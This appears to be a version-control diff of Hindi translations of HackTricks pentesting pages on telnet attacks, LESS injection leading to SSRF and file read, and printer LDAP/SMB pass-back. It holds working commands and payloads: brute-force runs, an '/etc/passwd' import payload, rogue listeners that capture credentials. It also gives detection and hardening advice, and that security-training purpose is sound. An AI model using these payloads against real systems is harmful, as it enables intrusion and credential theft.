[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) से: TELNET प्रोटोकॉल में विभिन्न "**विकल्प**" हैं जिन्हें स्वीकृत किया जाएगा और उपयोग किया जा सकता है "**DO, DON'T, WILL, WON'T**" संरचना के साथ ताकि उपयोगकर्ता और सर्वर एक अधिक जटिल (या शायद बस अलग) सेट के लिए सहमत हो सकें। उनके TELNET कनेक्शन के लिए परंपराएँ। ऐसे विकल्पों में वर्ण सेट, इको मोड आदि को बदलना शामिल हो सकता है।
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) से: TELNET प्रोटोकॉल में विभिन्न "**विकल्प**" होते हैं जिन्हें स्वीकृत किया जाएगा और उपयोगकर्ता और सर्वर को उनके TELNET कनेक्शन के लिए अधिक जटिल (या शायद बस अलग) सेट की परंपराओं का उपयोग करने के लिए सहमत होने की अनुमति देने के लिए "**DO, DON'T, WILL, WON'T**" संरचना के साथ उपयोग किया जा सकता है। ऐसे विकल्पों में वर्ण सेट, इको मोड आदि को बदलना शामिल हो सकता है।
**मुझे पता है कि इन विकल्पों को सूचीबद्ध करना संभव है लेकिन मुझे नहीं पता कैसे, इसलिए मुझे बताएं कि क्या आप जानते हैं।**
@ -85,7 +85,7 @@ sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" "
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
```
सक्रिय MITM के लिए, ARP स्पूफिंग (जैसे `arpspoof`/`ettercap`) को स्विच किए गए नेटवर्क पर पासवर्ड इकट्ठा करने के लिए समान स्निफ़िंग फ़िल्टर के साथ मिलाएं।
सक्रिय MITM के लिए, ARP स्पूफिंग (जैसे `arpspoof`/`ettercap`) को एक ही स्निफ़िंग फ़िल्टर के साथ मिलाएं ताकि स्विच किए गए नेटवर्क पर पासवर्ड एकत्र किए जा सकें।
### स्वचालित ब्रूट-फोर्स / पासवर्ड स्प्रेइंग
```bash
@ -102,12 +102,12 @@ medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
### शोषण और पोस्ट-शोषण
Metasploit के पास कई उपयोगी मॉड्यूल हैं:
Metasploit के कई उपयोगी मॉड्यूल हैं:
* `auxiliary/scanner/telnet/telnet_version` बैनर और विकल्प गणना।
* `auxiliary/scanner/telnet/brute_telnet` मल्टीथ्रेडेड ब्रूटफोर्स।
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` कमजोर Solaris 9/10 Telnet (विकल्प ENCRYPT हैंडलिंग) के खिलाफ RCE।
* `exploit/linux/mips/netgear_telnetenable` कई NETGEAR राउटर्स पर एक निर्मित पैकेट के साथ टेलनेट सेवा सक्षम करता है।
* `exploit/linux/mips/netgear_telnetenable` कई NETGEAR राउटर्स पर एक तैयार पैकेट के साथ टेलनेट सेवा सक्षम करता है।
एक शेल प्राप्त करने के बाद याद रखें कि **TTYs आमतौर पर बेवकूफ होते हैं**; `python -c 'import pty;pty.spawn("/bin/bash")'` के साथ अपग्रेड करें या [HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md) का उपयोग करें।

View File

@ -1,28 +1,28 @@
# LESS कोड इंजेक्शन जो SSRF और लोकल फ़ाइल पढ़ने की ओर ले जाता है
# LESS Code Injection leading to SSRF & Local File Read
{{#include ../banners/hacktricks-training.md}}
## अवलोकन
## Overview
LESS एक लोकप्रिय CSS प्री-प्रोसेसर है जो वेरिएबल, मिक्सिन, फ़ंक्शन और शक्तिशाली `@import` निर्देश को जोड़ता है। संकलन के दौरान LESS इंजन **`@import`** बयानों में संदर्भित संसाधनों को **फेच** करेगा और `(inline)` विकल्प का उपयोग करने पर उनके सामग्री को परिणामी CSS में एम्बेड ("इनलाइन") करेगा।
LESS एक लोकप्रिय CSS प्री-प्रोसेसर है जो वेरिएबल्स, मिक्सिन्स, फंक्शंस और शक्तिशाली `@import` निर्देश को जोड़ता है। संकलन के दौरान LESS इंजन **`@import`** बयानों में संदर्भित संसाधनों को **फेच** करेगा और `(inline)` विकल्प का उपयोग करने पर उनके सामग्री को परिणामी CSS में एम्बेड ("इनलाइन") करेगा।
जब एक एप्लिकेशन **उपयोगकर्ता-नियंत्रित इनपुट** को एक स्ट्रिंग में जोड़ता है जिसे बाद में LESS कंपाइलर द्वारा पार्स किया जाता है, तो एक हमलावर **मनमाना LESS कोड इंजेक्ट** कर सकता है। `@import (inline)` का दुरुपयोग करके हमलावर सर्वर को पुनः प्राप्त करने के लिए मजबूर कर सकता है:
जब एक एप्लिकेशन **उपयोगकर्ता-नियंत्रित इनपुट** को एक स्ट्रिंग में जोड़ता है जिसे बाद में LESS कंपाइलर द्वारा पार्स किया जाता है, तो एक हमलावर **मनमाना LESS कोड** इंजेक्ट कर सकता है। `@import (inline)` का दुरुपयोग करके हमलावर सर्वर को पुनः प्राप्त करने के लिए मजबूर कर सकता है:
* `file://` प्रोटोकॉल के माध्यम से स्थानीय फ़ाइलें (जानकारी का खुलासा / लोकल फ़ाइल समावेशन)।
* `file://` प्रोटोकॉल के माध्यम से स्थानीय फ़ाइलें (जानकारी का खुलासा / स्थानीय फ़ाइल समावेशन)।
* आंतरिक नेटवर्क या क्लाउड मेटाडेटा सेवाओं पर दूरस्थ संसाधन (SSRF)।
यह तकनीक वास्तविक दुनिया के उत्पादों में देखी गई है जैसे **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` एंडपॉइंट)।
## शोषण
## Exploitation
1. एक पैरामीटर की पहचान करें जो LESS इंजन द्वारा संसाधित स्टाइलशीट स्ट्रिंग के अंदर सीधे एम्बेड किया गया है (जैसे कि SugarCRM में `?lm=`)।
1. एक पैरामीटर की पहचान करें जो LESS इंजन द्वारा संसाधित स्टाइलशीट स्ट्रिंग के अंदर सीधे एम्बेड किया गया है (जैसे `?lm=` SugarCRM में)।
2. वर्तमान बयान को बंद करें और नए निर्देश इंजेक्ट करें। सबसे सामान्य प्राइमिटिव हैं:
* `;` पिछले घोषणा को समाप्त करता है।
* `}` पिछले ब्लॉक को बंद करता है (यदि आवश्यक हो)।
3. मनमाने संसाधनों को पढ़ने के लिए `@import (inline) '<URL>';` का उपयोग करें।
4. वैकल्पिक रूप से आयात के बाद एक **मार्कर** (`data:` URI) इंजेक्ट करें ताकि संकलित CSS से फेच की गई सामग्री को निकालना आसान हो सके।
4. वैकल्पिक रूप से आयात के बाद एक **मार्कर** (`data:` URI) इंजेक्ट करें ताकि संकलित CSS से प्राप्त सामग्री को निकालना आसान हो सके।
### लोकल फ़ाइल पढ़ना
### Local File Read
```
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
@ -51,7 +51,7 @@ sed -n 's/.*@@END@@\(.*\)/\1/p'
* अस्वीकृत क्वेरी पैरामीटर वाले गतिशील रूप से उत्पन्न `.less` या `.css` प्रतिक्रियाओं की तलाश करें।
* कोड समीक्षा के दौरान, ऐसे निर्माणों की खोज करें जैसे `"@media all { .preview { ... ${userInput} ... } }"` जो LESS रेंडर फ़ंक्शंस को पास किए जाते हैं।
* शोषण के प्रयासों में अक्सर `@import`, `(inline)`, `file://`, `http://169.254.169.254`, आदि शामिल होते हैं।
* शोषण के प्रयास अक्सर `@import`, `(inline)`, `file://`, `http://169.254.169.254`, आदि शामिल करते हैं।
## Mitigations

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Check **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
चेक करें **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
- SugarCRM ≤ 14.0.0 LESS `@import` इंजेक्शन `/rest/v10/css/preview` में अनधिकृत SSRF और स्थानीय फ़ाइल पढ़ने की अनुमति देता है।

View File

@ -3,7 +3,7 @@
{{#include ../../banners/hacktricks-training.md}}
इंटरनेट पर कई ब्लॉग हैं जो **डिफ़ॉल्ट/कमजोर** लॉगिन क्रेडेंशियल्स के साथ LDAP के साथ प्रिंटर्स को कॉन्फ़िगर करने के खतरों को **उजागर करते हैं**। \
इसका कारण यह है कि एक हमलावर **प्रिंटर को एक धोखेबाज़ LDAP सर्वर के खिलाफ प्रमाणित करने के लिए धोखा दे सकता है** (आमतौर पर एक `nc -vv -l -p 389` या `slapd -d 2` पर्याप्त है) और प्रिंटर के **क्रेडेंशियल्स को स्पष्ट-टेक्स्ट में कैप्चर कर सकता है**।
इसका कारण यह है कि एक हमलावर **प्रिंटर को एक धोखाधड़ी LDAP सर्वर के खिलाफ प्रमाणित करने के लिए धोखा दे सकता है** (आमतौर पर एक `nc -vv -l -p 389` या `slapd -d 2` पर्याप्त है) और प्रिंटर के **क्रेडेंशियल्स को स्पष्ट पाठ में कैप्चर कर सकता है**।
इसके अलावा, कई प्रिंटर्स में **उपयोगकर्ता नामों के साथ लॉग** होंगे या यहां तक कि **डोमेन कंट्रोलर से सभी उपयोगकर्ता नामों को डाउनलोड करने में सक्षम हो सकते हैं**
@ -28,7 +28,7 @@
```bash
sudo nc -k -v -l -p 389 # LDAPS → 636 (or 3269)
```
छोटे/पुराने MFPs एक साधारण *simple-bind* को स्पष्ट पाठ में भेज सकते हैं जिसे netcat कैप्चर कर सकता है। आधुनिक उपकरण आमतौर पर पहले एक गुमनाम क्वेरी करते हैं और फिर बाइंड करने का प्रयास करते हैं, इसलिए परिणाम भिन्न होते हैं।
छोटे/पुराने MFPs साधारण *simple-bind* को स्पष्ट पाठ में भेज सकते हैं जिसे netcat कैप्चर कर सकता है। आधुनिक उपकरण आमतौर पर पहले एक गुमनाम क्वेरी करते हैं और फिर बाइंड करने का प्रयास करते हैं, इसलिए परिणाम भिन्न होते हैं।
### विधि 2 पूर्ण रॉग LDAP सर्वर (सिफारिश की गई)
@ -43,7 +43,7 @@ slapd -d 2 -h "ldap:///" # only LDAP, no LDAPS
```
जब प्रिंटर अपनी खोज करता है, तो आप डिबग आउटपुट में स्पष्ट-टेक्स्ट क्रेडेंशियल्स देखेंगे।
> 💡 आप `impacket/examples/ldapd.py` (Python rogue LDAP) या `Responder -w -r -f` का उपयोग करके LDAP/SMB के माध्यम से NTLMv2 हैश इकट्ठा कर सकते हैं।
> 💡 आप `impacket/examples/ldapd.py` (Python rogue LDAP) या `Responder -w -r -f` का उपयोग करके LDAP/SMB के माध्यम से NTLMv2 हैश एकत्रित कर सकते हैं।
---
## हाल की पास-बैक कमजोरियाँ (2024-2025)
@ -52,7 +52,7 @@ slapd -d 2 -h "ldap:///" # only LDAP, no LDAPS
### Xerox VersaLink CVE-2024-12510 & CVE-2024-12511
Xerox VersaLink C70xx MFPs का फर्मवेयर ≤ 57.69.91 ने एक प्रमाणित व्यवस्थापक (या जब डिफ़ॉल्ट क्रेड्स बने रहते हैं तो किसी को भी) को अनुमति दी:
Xerox VersaLink C70xx MFPs का फर्मवेयर ≤ 57.69.91 ने एक प्रमाणित व्यवस्थापक (या किसी को भी जब डिफ़ॉल्ट क्रेड्स बने रहते हैं) को अनुमति दी:
* **CVE-2024-12510 LDAP पास-बैक**: LDAP सर्वर पते को बदलना और एक खोज को ट्रिगर करना, जिससे डिवाइस हमलावर-नियंत्रित होस्ट को कॉन्फ़िगर की गई Windows क्रेडेंशियल्स लीक कर दे।
* **CVE-2024-12511 SMB/FTP पास-बैक**: *स्कैन-टू-फोल्डर* गंतव्यों के माध्यम से समान समस्या, NetNTLMv2 या FTP स्पष्ट-टेक्स्ट क्रेड्स लीक करना।
@ -61,27 +61,27 @@ Xerox VersaLink C70xx MFPs का फर्मवेयर ≤ 57.69.91 ने
```bash
sudo nc -k -v -l -p 389 # capture LDAP bind
```
या एक बागी SMB सर्वर (`impacket-smbserver`) क्रेडेंशियल्स को इकट्ठा करने के लिए पर्याप्त है।
or एक बागी SMB सर्वर (`impacket-smbserver`) क्रेडेंशियल्स को इकट्ठा करने के लिए पर्याप्त है।
### कैनन इमेजरनर / इमेजक्लास सलाह 20 मई 2025
### Canon imageRUNNER / imageCLASS सलाह 20 मई 2025
कैनन ने दर्जनों लेजर और MFP उत्पाद लाइनों में **SMTP/LDAP पास-बैक** कमजोरी की पुष्टि की। एक हमलावर जिसके पास प्रशासनिक पहुंच है, सर्वर कॉन्फ़िगरेशन को संशोधित कर सकता है और LDAP **या** SMTP के लिए संग्रहीत क्रेडेंशियल्स को पुनः प्राप्त कर सकता है (कई संगठन स्कैन-टू-मेल की अनुमति देने के लिए एक विशेषाधिकार प्राप्त खाता का उपयोग करते हैं)।
Canon ने दर्जनों लेज़र और MFP उत्पाद लाइनों में एक **SMTP/LDAP पास-बैक** कमजोरी की पुष्टि की। एक हमलावर जिसके पास प्रशासनिक पहुंच है, सर्वर कॉन्फ़िगरेशन को संशोधित कर सकता है और LDAP **या** SMTP के लिए संग्रहीत क्रेडेंशियल्स प्राप्त कर सकता है (कई संगठन स्कैन-टू-मेल की अनुमति देने के लिए एक विशेषाधिकार प्राप्त खाता का उपयोग करते हैं)।
विक्रेता मार्गदर्शन स्पष्ट रूप से अनुशंसा करता है:
विक्रेता की मार्गदर्शिका स्पष्ट रूप से अनुशंसा करती है:
1. उपलब्ध होते ही पैच किए गए फर्मवेयर में अपडेट करें।
2. मजबूत, अद्वितीय प्रशासनिक पासवर्ड का उपयोग करें।
3. प्रिंटर एकीकरण के लिए विशेषाधिकार प्राप्त AD खातों से बचें।
---
## स्वचालित एन्यूमरेशन / शोषण उपकरण
## स्वचालित गणना / शोषण उपकरण
| उपकरण | उद्देश्य | उदाहरण |
|------|---------|---------|
| **PRET** (प्रिंटर शोषण टूलकिट) | पोस्टस्क्रिप्ट/PJL/PCL दुरुपयोग, फ़ाइल-प्रणाली पहुंच, डिफ़ॉल्ट-क्रेड्स जांच, *SNMP खोज* | `python pret.py 192.168.1.50 pjl` |
| **Praeda** | HTTP/HTTPS के माध्यम से कॉन्फ़िगरेशन (पता पुस्तिकाओं और LDAP क्रेड्स सहित) को इकट्ठा करना | `perl praeda.pl -t 192.168.1.50` |
| **Responder / ntlmrelayx** | SMB/FTP पास-बैक से NetNTLM हैश कैप्चर और रिले करना | `responder -I eth0 -wrf` |
| **impacket-ldapd.py** | स्पष्ट-टेक्स्ट बाइंड्स प्राप्त करने के लिए हल्का बागी LDAP सेवा | `python ldapd.py -debug` |
| **PRET** (Printer Exploitation Toolkit) | PostScript/PJL/PCL दुरुपयोग, फ़ाइल-प्रणाली पहुंच, डिफ़ॉल्ट-क्रेड्स जांच, *SNMP खोज* | `python pret.py 192.168.1.50 pjl` |
| **Praeda** | HTTP/HTTPS के माध्यम से कॉन्फ़िगरेशन (पता पुस्तिकाओं और LDAP क्रेड्स सहित) इकट्ठा करें | `perl praeda.pl -t 192.168.1.50` |
| **Responder / ntlmrelayx** | SMB/FTP पास-बैक से NetNTLM हैश कैप्चर और रिले करें | `responder -I eth0 -wrf` |
| **impacket-ldapd.py** | स्पष्ट-पाठ बाइंड प्राप्त करने के लिए हल्का बागी LDAP सेवा | `python ldapd.py -debug` |
---
## हार्डनिंग और पहचान
@ -89,16 +89,16 @@ sudo nc -k -v -l -p 389 # capture LDAP bind
1. **पैच / फर्मवेयर-अपडेट** MFPs को तुरंत करें (विक्रेता PSIRT बुलेटिन की जांच करें)।
2. **कम-से-कम विशेषाधिकार सेवा खाते** LDAP/SMB/SMTP के लिए कभी भी डोमेन एडमिन का उपयोग न करें; *पढ़ने-के-लिए* OU स्कोप तक सीमित करें।
3. **प्रबंधन पहुंच को प्रतिबंधित करें** प्रिंटर वेब/IPP/SNMP इंटरफेस को एक प्रबंधन VLAN में रखें या ACL/VPN के पीछे।
4. **अप्रयुक्त प्रोटोकॉल को निष्क्रिय करें** FTP, टेलनेट, कच्चा-9100, पुराने SSL सिफर।
4. **अप्रयुक्त प्रोटोकॉल को निष्क्रिय करें** FTP, Telnet, raw-9100, पुराने SSL सिफर।
5. **ऑडिट लॉगिंग सक्षम करें** कुछ उपकरण LDAP/SMTP विफलताओं को syslog कर सकते हैं; अप्रत्याशित बाइंड्स को सहसंबंधित करें।
6. **असामान्य स्रोतों पर स्पष्ट-टेक्स्ट LDAP बाइंड्स की निगरानी करें** (प्रिंटर सामान्यतः केवल DCs से बात करते हैं)।
6. **असामान्य स्रोतों पर स्पष्ट-पाठ LDAP बाइंड्स की निगरानी करें** (प्रिंटर सामान्यतः केवल DCs से बात करते हैं)।
7. **SNMPv3 या SNMP को निष्क्रिय करें** समुदाय `public` अक्सर उपकरण और LDAP कॉन्फ़िगरेशन लीक करता है।
---
## संदर्भ
- [https://grimhacker.com/2018/03/09/just-a-printer/](https://grimhacker.com/2018/03/09/just-a-printer/)
- Rapid7. “Xerox VersaLink C7025 MFP पास-बैक हमले की कमजोरियां।” फरवरी 2025।
- कैनन PSIRT. “लेजर प्रिंटर और छोटे कार्यालय मल्टीफंक्शन प्रिंटर के लिए SMTP/LDAP पासबैक के खिलाफ कमजोरियों का शमन।” मई 2025।
- Rapid7. “Xerox VersaLink C7025 MFP Pass-Back Attack Vulnerabilities.” फरवरी 2025।
- Canon PSIRT. “लेज़र प्रिंटर्स और छोटे कार्यालय मल्टीफंक्शन प्रिंटर्स के लिए SMTP/LDAP पासबैक के खिलाफ कमजोरियों का शमन।” मई 2025।
{{#include ../../banners/hacktricks-training.md}}